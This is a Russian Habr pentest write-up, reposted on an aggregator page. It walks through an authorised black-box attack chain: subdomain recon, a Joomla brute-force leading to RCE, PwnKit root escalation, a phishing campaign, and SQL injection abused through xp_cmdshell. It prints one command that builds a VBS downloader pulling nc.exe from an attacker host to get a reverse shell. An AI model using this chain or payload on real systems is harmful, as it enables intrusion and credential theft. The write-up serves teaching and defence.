惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 三生石上(FineUI控件)
S
SegmentFault 最新的问题
Jina AI
Jina AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
IT之家
IT之家
美团技术团队
V
Visual Studio Blog
人人都是产品经理
人人都是产品经理
博客园 - 叶小钗
有赞技术团队
有赞技术团队
GbyAI
GbyAI
宝玉的分享
宝玉的分享
腾讯CDC
M
MIT News - Artificial intelligence
博客园 - 【当耐特】
Google DeepMind News
Google DeepMind News
月光博客
月光博客
MyScale Blog
MyScale Blog
Last Week in AI
Last Week in AI
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园 - 司徒正美
Recent Announcements
Recent Announcements
MongoDB | Blog
MongoDB | Blog

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания
Black Box пентест: как один домен привёл к полной компром...
gg1ZmO · 2026-04-23 · via Все публикации подряд на Хабре

Уровень сложностиСредний

Время на прочтение5 мин

Охват и читатели1.9K

Кейс

Привет, Хабр! В этой статье я хочу поделиться опытом проведения внешнего black-box пентеста и разобрать методологию, которая позволяет находить критические уязвимости даже при минимальном входном скоупе. Статья будет разбита на две части, про внешний расскажу я, а про внутренний расскажет мой коллега.

Black-box подразумевает, что у пентестера нет никакой внутренней информации: ни списков IP, ни учётных данных, ни описания архитектуры. Только доменное имя - и вперёд. Звучит как ограничение, но на практике это зачастую преимущество: вы смотрите на инфраструктуру глазами реального злоумышленника.

Целью данного пентеста является проверка возможности компрометации внутренней инфраструктуры через веб-приложения.

1. Разведка

Первый этап любого пентеста - сбор информации о целевом домене. Здесь работает простое правило: чем больше сабдоменов найдено, тем лучше.

Для пассивного сбора информации использовались следующие инструменты:

  • sublist3r

  • dnsrecon

  • VirusTotal

  • crt.sh

В результате было найдено около 40 уникальных сабдоменов, что существуенно расширило поверхность атаки.

Интересный момент: важно понимать, что разные инструменты дают разные результаты. sublist3r и VirusTotal покрывают публичные индексы, тогда как crt.sh анализирует прозрачные логи сертификатов (Certificate Transparency logs). На практике именно crt.sh часто выдаёт сабдомены, которые не индексируются классическими сканерами - тестовые стенды, внутренние сервисы, временные домены для интеграций.

Анализ логики приложений

Разведка - это не только про сбор сабдоменов, но и анализ поведения приложений.

Важно понимать:

  • кто целевая аудитория

  • какой упор сделан на UX

  • чем могли пожертвовать в угоду удобства пользования

Был найден домен, который являлся некой системой дистанционного обучения с явными признаками на аудиторию с низким уровнем технической подготовки:

  • упрощенный интерфейс

  • огромные кнопки

  • режимы для слабовидящих

  • множество всплывающих подсказок

Все это указывало на то, что разработчики могли пожертвовать безопасностью ради доступности. И действительно, на сайте был гостевой доступ, который открыл IDOR уязвимость, позволяющую извлекать учетные данные, а также удалось вытащить данные от бд.

2. Домен, который открыл все

Среди найденных сабдоменов внимание привлек test-домен.ru. Это был домен заглушка, но при его анализе удалось выяснить, что используется CMS Joomla.

test-домен

test-домен

Форма авторизации не работала, кнопки тоже, но перебравшись на страницу авторизации админки Jooml'ы, обнаружил, что она доступна. Попытка brute-force авторизации неожиданно оказалась успешной — доступ в админку был получен за считанные секунды.

Интерфейс отображался некорректно, но бэкенд работал. Это позволило получить доступ к компонентам и изменить шаблон сайта.

В шаблон сайта был внедрен PHP-код, что дало RCE.

Выполнение команд

Выполнение команд

С таким примитивным шеллом работать не очень хочется, поэтому был создан reverse shell на VDS сервер.

Исследование сервера

При анализе сервера удалось установить:

  • сервер является хостингом

  • на нем размещено ~20 сайтов

  • часть из них - дочерние компании (они вне scope)

Доступ был ограничен пользователем www-data, поэтому потребовалась эскалация привилегий. Используя linpeas, был найден и успешно проэксплуатирован pwnkit CVE-2021-4034, что позволило получить root доступ.

получение root'a

получение root'a

После этого был создан привилегированный пользователь и мы начали изучать конфигурационные файлы.

Однако сервер хостился на VDS, и прямого доступа во внутреннюю сеть не было. А значит из этого сервера нужно выжимать все.

3. Фишинг

Для дальнейшего продвижения была согласована фишинговая атака. К этому моменту был получен доступ ко всем базам данных сайтов, а значит я мог создавать административные учетные записи на сайтах.

База данных одного из сайтов

База данных одного из сайтов

В одном из конфигов были найдены учетные данные администратора почты (Roundcube).

Это дало доступ к корпоративной почте и возможность сбрасывать пароли на сайтах, которые находились на других серверах, что позволяло расширить поверхность атаки.

Получение доступа к почтовику

Получение доступа к почтовику

Реализация атаки

На одном из корпоративных сайтов была размещена фишинговая форма авторизации, логирующая вводимые данные.

Для пользователей все выглядело легитимно. Легитимный сайт, легитимный интерфейс, доверенный отправитель с которым они общаются каждый день.

Набросок фишинговой рассылки

Набросок фишинговой рассылки

После рассылки были получены учетные данные сотрудников.

4. Почему обучение сотрудников не работает

Фишинг остаётся одним из самых эффективных векторов не потому, что сотрудники глупы, а потому что атаки хорошо подготовлены. Хорошо описано в этой статье.

Многие компании ограничиваются формальным обучением, что не даёт результата.

Принципы эффективного антифишингового обучения:

  • Регулярные имитированные атаки — не разовые рассылки, а системная работа

  • Реалистичные сценарии — письма от HR, IT-департамента, руководства; ссылки на внутренние порталы

  • Немедленная обратная связь — если сотрудник кликнул, он сразу получает обучающий материал, а не отчитывание

  • Геймификация — рейтинги, сертификаты, конкурсы между подразделениями

5. SQL-инъекция, которая изменила все

На одном из сабдоменов была обнаружена SQLi time-based.

Я обнаружил ее еще в первый день, но никакой практической пользы она не давала. Однако повторный анализ выявил, что есть второй параметр который уязвим. Комбинирование параметров позволило применить технику HTTP Parameter Fragmentation и добиться UNION-инъекции.

Вывод бд

Вывод бд

Дальнейшее изучение бд показало, что запросы мы отправляем под привилегированным пользователем.

Microsoft SQL Server 2005, очень старая и это наталкивает на мысль, что есть шанс работы xp_cmdshell.
Я проверил наличие этой процедуры и да, она была включена. Я сразу ринулся проверять возможность выполнения команд, whoami, dir и.т.д. Но в ответ пусто. Я создавал шеллы и запускал их, но никакой реакции я не встретил, постоянно NULL на любую команду.

Пришла идея проверить сам факт выполнения команд. На VDS был запущен tcpdump и оказалось - команды действительно выполняются.

Подтверждение выполнения команд

Подтверждение выполнения команд

Эксплуатация

xp_cmdshell - расширенная хранимая процедура, позволяющая выполнять команды ОС. На старых версиях (MSSQL 2005) она часто включена по умолчанию.

Проблема legacy-окружения:

  • MSSQL 2005 x86 работает только на Windows Server 2003 / 2003 R2

  • Нет PowerShell, урезанный cmd, отсутствуют curl/wget/certutil

  • Единственный надёжный вектор доставки полезной нагрузки - VBS-скрипты

Через VBS-скрипт был загружен NetCat.

EXEC xp_cmdshell 'echo Set objXML = CreateObject("MSXML2.XMLHTTP") > download.vbs && echo objXML.Open "GET", "http://IP:4444/nc.exe", False >> download.vbs && echo objXML.Send >> download.vbs && echo If objXML.Status = 200 Then >> download.vbs && echo Set objStream = CreateObject("ADODB.Stream") >> download.vbs && echo objStream.Open >> download.vbs && echo objStream.Type = 1 >> download.vbs && echo objStream.Write objXML.ResponseBody >> download.vbs && echo objStream.SaveToFile "nc.exe", 2 >> download.vbs && echo objStream.Close >> download.vbs && echo End If >> download.vbs'

Далее получаем обратную оболочку.

Обратите внимание на то, что я могу выполнять команды от системы

Обратите внимание на то, что я могу выполнять команды от системы

А дальше классика:

  • Создание пользователя

  • Внесение его в нужные нам группы

    Наш привилегированный пользователь

    Наш привилегированный пользователь

Далее пробрасываем порты и подключаемся по RDP.

Цепочка атаки

Recon → Subdomains → Joomla brute-force → RCE → root → configs → mail access → phishing → creds → SQLi → xp_cmdshell → reverse shell → RDP → domain compromise

Ключевые ошибки

  • отсутствие ограничений на авторизацию

  • хранение учетных данных в конфигурационных файлах

  • устаревшее ПО (MSSQL 2005)

  • включённый xp_cmdshell

  • недостаточная сегментация сети

  • доступ к почте через веб-интерфейс

Статья была разбита на две части. Про внутренний пентест расскажет мой коллега @CyberB.

Это был интересный пентест. Было найдено много различных уязвимостей, но рассказал вам о самых интересных. Все вульны переданы заказчику, как и рекомендации, все закрыли все починили. Всем спасибо.